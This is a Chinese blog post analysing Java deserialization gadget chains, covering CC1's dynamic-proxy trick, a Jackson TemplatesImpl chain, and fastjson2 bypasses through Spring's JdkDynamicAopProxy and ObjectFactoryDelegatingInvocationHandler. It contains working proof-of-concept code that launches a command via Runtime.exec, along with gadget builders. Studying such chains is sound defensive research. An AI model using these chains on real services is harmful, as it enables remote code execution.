fastjson 原生反序列化配合动态代理绕过限制

对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象

fastjson 原生反序列化配合动态代理绕过限制

前言

对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象

cc1 动态代理初识

首先是我们的调用链

AnnotationInvocationHan.readobject--proxy.entryset--AnnotationInvocationHan.invoke--LazyMap.get--chainedTransformer.transformer....

POC

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1lazy {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hash = new HashMap<>();
        //使用chainedTransformer装饰HashMap生成新的Map
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        //通过反射获取AnnotationInvocationHandler类的构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的
        constructor.setAccessible(true);
        //通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
//因为AnnotationInvocationHandler是继承了代理接口的,所以可以直接使用它的构造器去构造一个代理的处理器,但是需要强转
        //创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance
        Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
        //再次通过反射创建代理对象
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

这里我们只对动态代理的部分做分析

这里本来的目的是寻找一个能够嫁接调用 get 的地方

找到了 AnnotationInvocationHandler 的 invoke 方法

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        switch (var4) {
            case "toString":
                return this.toStringImpl();
            case "hashCode":
                return this.hashCodeImpl();
            case "annotationType":
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
        }
    }
}

只需要它的 memberValues 可以控制就 ok

所以就回到了如何触发 invoke 的问题上来了

可以看到他 implements 了InvocationHandler 这个接口,说明这个类也可以动态代理

因为实现了这个接口必须重写一个 invoke 方法,而且方法会在代理对象的方法被调用时执行,所以我们如果创建一个动态代理,而且把它作为代理的处理器,那么就可以成功的触发 invoke 方法
我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。

具体的 cc1 的细节我们就不看了,关键就是如何出的 invoke 方法

接下来是怎么创建一个代理,来把这个类作为代理对象?我们只要使用 Proxy 创建一个代理实例,将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。代理什么?

由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过 AnnotationInvocationHandler 来包装由 Proxy 创建的代理对象,并将其重新序列化。
在反序列化时,memberValues 的 entrySet() 方法会被调用,而我们希望 memberValues 内部存储的代理对象能够触发 invoke() 方法,从而进入我们构造的链条。
因为 memberValues 是一个 Map 类型,所以我们需要通过 Proxy 创建一个 Map 类型的代理对象。

简单的调试看看调用栈

invoke:57, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:67, CC1lazy (cc1)
main:57, CC1lazy (cc1)

这里因为调用了 public abstract java.util.Set java.util.Map.entrySet()触发了动态代理
调用代理的 invoke 方法,从而接起了后面的链子

JdkDynamicAopProxy 代理绕过

当然上面的代理虽然是我们链子中的常客,但是限制还是很大的,因为在高版本的 jdk 改了

这里我们看看这个动态代理类

首先如何寻找这种代理呢

其实很简单,只需要实现我们的接口,我们找接口的实现类

但是限制就是需要我们存在依赖

网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候

参考https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD
是为了解决 jackson 原生不稳定的痛点

正常的调用链

package org.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class EXP {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "xxx");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        System.out.println(serial(exp));
        deserial(serial(exp));
    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

但是会爆错

Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)

爆指针的问题

是因为
在调用 getter 方法的时候,是根据 props 的顺序来决定的

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
    throws IOException
{
    final BeanPropertyWriter[] props;
    if (_filteredProps != null && provider.getActiveView() != null) {
        props = _filteredProps;
    } else {
        props = _props;
    }
    int i = 0;
    try {
        for (final int len = props.length; i < len; ++i) {
            BeanPropertyWriter prop = props[i];
            if (prop != null) { // can have nulls in filtered list
                prop.serializeAsField(bean, gen, provider);
            }
        }
        if (_anyGetterWriter != null) {
            _anyGetterWriter.getAndSerialize(bean, gen, provider);
        }
    } catch (Exception e) {
        String name = (i == props.length) ? "[anySetter]" : props[i].getName();
        wrapAndThrow(provider, e, bean, name);
    } catch (StackOverflowError e) {
                    ...
    }
}

顺序不固定

transletindex
stylesheetDOM
outputProperties

stylesheetDOMoutputProperties 之前,所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败。

所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点

我们看到它的 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Object oldProxy = null;
    boolean setProxyContext = false;
    TargetSource targetSource = this.advised.targetSource;
    Object target = null;

    Object retVal;
    try {
        if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
            Boolean var18 = this.equals(args[0]);
            return var18;
        }

        if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
            Integer var17 = this.hashCode();
            return var17;
        }

        if (method.getDeclaringClass() == DecoratingProxy.class) {
            Class var16 = AopProxyUtils.ultimateTargetClass(this.advised);
            return var16;
        }

        if (this.advised.opaque || !method.getDeclaringClass().isInterface() || !method.getDeclaringClass().isAssignableFrom(Advised.class)) {
            if (this.advised.exposeProxy) {
                oldProxy = AopContext.setCurrentProxy(proxy);
                setProxyContext = true;
            }

            target = targetSource.getTarget();
            Class<?> targetClass = target != null ? target.getClass() : null;
            List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
            if (chain.isEmpty()) {
                Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            } else {
                MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                retVal = invocation.proceed();
            }

            Class<?> returnType = method.getReturnType();
            if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
                retVal = proxy;
            } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
                throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
            }

            Object var12 = retVal;
            return var12;
        }

        retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
    } finally {
        if (target != null && !targetSource.isStatic()) {
            targetSource.releaseTarget(target);
        }

        if (setProxyContext) {
            AopContext.setCurrentProxy(oldProxy);
        }

    }

    return retVal;
}

最后会返回一个 retVal 对象,而这个对象是

AopUtils.invokeJoinpointUsingReflection(this.advised, method, args)

得来的,跟进 invokeJoinpointUsingReflection 方法
image-20240620150501324

可以看到可以反射调用方法

advised 成员是一个 org.springframework.aop.framework.AdvisedSupport 类型的对象,它的 targetSource 成员中保存了 JdkDynamicAopProxy 类代理的接口的实现类。

思路就是

1. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource`
2. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口
3. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法
4. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl#getOutputProperties` 方法,实现恶意类加载

我们举一反三,使用在 fastjson 的原生反序列化中

替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。

因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能

这里我们调试一下文章给出的代码

public class Fastjson4_JdkDynamicAopProxy {
    public Object getObject (String cmd) throws Exception {

        Object node1 = TemplatesImplNode.makeGadget(cmd);
        Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
        Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler)node2);
        Object node3 = JsonArrayNode.makeGadget(2,proxy);
        Object node4 = BadAttrValExeNode.makeGadget(node3);
        Object[] array = new Object[]{node1,node4};
        Object node5 = HashMapNode.makeGadget(array);
        return node5;
    }

    public static void main(String[] args) throws Exception {
        Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
        Util.runGadgets(object);
    }
}

可以很直观的看到是代理了 Templates 接口

在代理类的构造中

public class JdkDynamicAopProxyNode {

    public static Object makeGadget(Object gadget) throws Exception {
        AdvisedSupport as = new AdvisedSupport();
        as.setTargetSource(new SingletonTargetSource(gadget));
        return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
    }
}

我们构造的恶意 TemplatesImpl 作为 TargetSource

因为代理的是 Templates

可以看到是只有一个 getter 方法,所以调用栈如下

invoke:160, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy1 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy1 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:24, Fastjson4_JdkDynamicAopProxy

只会调用getOutputProperties 方法,触发我们的 invoke

然后调用到我们 TemplatesImpl#getOutputProperties 方法成功实现中间过渡

ObjectFactoryDelegatingInvocationHandler 绕过

还是一样方法

首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口

我们看到 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    switch (method.getName()) {
        case "equals":
            return proxy == args[0];
        case "hashCode":
            return System.identityHashCode(proxy);
        case "toString":
            return this.objectFactory.toString();
        default:
            try {
                return method.invoke(this.objectFactory.getObject(), args);
            } catch (InvocationTargetException var6) {
                throw var6.getTargetException();
            }
    }
}

可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了

目的就是需要它返回我们的 teamplatesImpl 对象

首先我们寻找继承了 ObjectFactory 的类

也不太多

找了一下确实没有能够利用的
这里师傅的想法是

用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl

说真的,简直很妙
我们看到 invoke 方法

没想到它也是一个代理类

调试分析一下

invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler

然后调用 JSONObject 的 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    String methodName = method.getName();
    int parameterCount = method.getParameterCount();
    Class<?> returnType = method.getReturnType();
    if (parameterCount == 1) {
        if ("equals".equals(methodName)) {
            return this.equals(args[0]);
        } else {
            Class proxyInterface = null;
            Class<?>[] interfaces = proxy.getClass().getInterfaces();
            if (interfaces.length == 1) {
                proxyInterface = interfaces[0];
            }

            if (returnType != Void.TYPE && returnType != proxyInterface) {
                throw new JSONException("This method '" + methodName + "' is not a setter");
            } else {
                String name = this.getJSONFieldName(method);
                if (name == null) {
                    if (!methodName.startsWith("set")) {
                        throw new JSONException("This method '" + methodName + "' is not a setter");
                    }

                    name = methodName.substring(3);
                    if (name.length() == 0) {
                        throw new JSONException("This method '" + methodName + "' is an illegal setter");
                    }

                    name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
                }

                this.put(name, args[0]);
                return returnType != Void.TYPE ? proxy : null;
            }
        }
    } else if (parameterCount == 0) {
        if (returnType == Void.TYPE) {
            throw new JSONException("This method '" + methodName + "' is not a getter");
        } else {
            String name = this.getJSONFieldName(method);
            Object value;
            if (name == null) {
                boolean with = false;
                int prefix;
                if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
                    char[] chars = new char[methodName.length() - prefix];
                    methodName.getChars(prefix, methodName.length(), chars, 0);
                    if (chars[0] >= 'A' && chars[0] <= 'Z') {
                        chars[0] = (char)(chars[0] + 32);
                    }

                    String fieldName = new String(chars);
                    if (fieldName.isEmpty()) {
                        throw new JSONException("This method '" + methodName + "' is an illegal getter");
                    }

                    value = this.get(fieldName);
                    if (value == null) {
                        return null;
                    }
                } else {
                    if (!methodName.startsWith("is")) {
                        if ("hashCode".equals(methodName)) {
                            return this.hashCode();
                        }

                        if ("toString".equals(methodName)) {
                            return this.toString();
                        }

                        if (methodName.startsWith("entrySet")) {
                            return this.entrySet();
                        }

                        if ("size".equals(methodName)) {
                            return this.size();
                        }

                        Class<?> declaringClass = method.getDeclaringClass();
                        if (declaringClass.isInterface() && !Modifier.isAbstract(method.getModifiers()) && !JDKUtils.ANDROID && !JDKUtils.GRAAL) {
                            MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass);
                            MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass);
                            return methodHandle.invoke(proxy);
                        }

                        throw new JSONException("This method '" + methodName + "' is not a getter");
                    }

                    if ("isEmpty".equals(methodName)) {
                        value = this.get("empty");
                        if (value == null) {
                            return this.isEmpty();
                        }
                    } else {
                        name = methodName.substring(2);
                        if (name.isEmpty()) {
                            throw new JSONException("This method '" + methodName + "' is an illegal getter");
                        }

                        name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
                        value = this.get(name);
                        if (value == null) {
                            return false;
                        }
                    }
                }
            } else {
                value = this.get(name);
                if (value == null) {
                    return null;
                }
            }

            if (!returnType.isInstance(value)) {
                Function typeConvert = JSONFactory.getDefaultObjectReaderProvider().getTypeConvert(value.getClass(), method.getGenericReturnType());
                if (typeConvert != null) {
                    value = typeConvert.apply(value);
                }
            }

            return value;
        }
    } else {
        throw new UnsupportedOperationException(method.toGenericString());
    }
}

最后返回的是 value,我们主要关心 value

因为我们调用的方法是 getObejct\
会进入如下的 if

if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] >= 'A' && chars[0] <= 'Z') {
    chars[0] = (char)(chars[0] + 32);
}

String fieldName = new String(chars);
if (fieldName.isEmpty()) {
    throw new JSONException("This method '" + methodName + "' is an illegal getter");
}

value = this.get(fieldName);
if (value == null) {
    return null;
}

可以看出来是取出了我们的对象,成功达成目的

最后成功达成目的

  • 发表于 2025-02-19 09:00:00
  • 阅读 ( 38603 )
  • 分类:漏洞分析

1 条评论

蓝兔公主
请问师父能给一个完整的代码文件?因为我测试下来会被resolveProxyClass拦截。估计代码写的有问题。
请先 登录 后评论
请先 登录 后评论
nn0nkeyk1n9
nn0nkeyk1n9

5 篇文章

站长统计